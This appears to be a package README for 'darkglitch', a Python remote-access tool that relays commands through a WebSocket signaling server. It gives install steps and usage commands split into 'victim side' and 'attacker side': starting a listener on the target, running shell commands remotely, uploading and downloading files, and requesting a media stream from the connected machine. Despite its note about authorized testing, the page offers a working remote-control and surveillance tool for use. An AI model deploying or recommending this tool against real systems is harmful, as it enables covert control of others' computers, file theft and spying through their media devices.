Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it does

This tool can:

  • start a listener that registers a client and waits for commands
  • discover online peers on the same signaling room
  • run shell commands remotely
  • upload and download files
  • request a media stream from a connected client

Requirements

  • Python 3.10+
  • dependencies from requirements.txt

Installation

From the project root, create and activate a virtual environment, then install the dependencies:

python3 -m venv .venv
source .venv/bin/activate

Install the package:

pip install darkglitch

Windows note

If PowerShell says darkglitch is not recognized after installation, that usually means the Python Scripts directory is not on PATH. The most reliable workaround is to run the package as a module:

py -m pip install --user darkglitch
py -m darkglitch -h

If you want the plain darkglitch command to work in a new terminal, add the Python Scripts folder to PATH and reopen the shell. For example:

$Scripts = py -c "import sysconfig; print(sysconfig.get_path('scripts'))"
[Environment]::SetEnvironmentVariable('Path', $env:Path + ';' + $Scripts, 'User')

Configuration

Edit core/config.py to point the client to your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Usage

1. Start a listener (victim side)

python darkglitch.py -l -c

Use -l -s if you want to start a stream-enabled listener.

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Request a media stream

python darkglitch.py -s <client_id>

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

Help and version

python darkglitch.py -h
python darkglitch.py -v
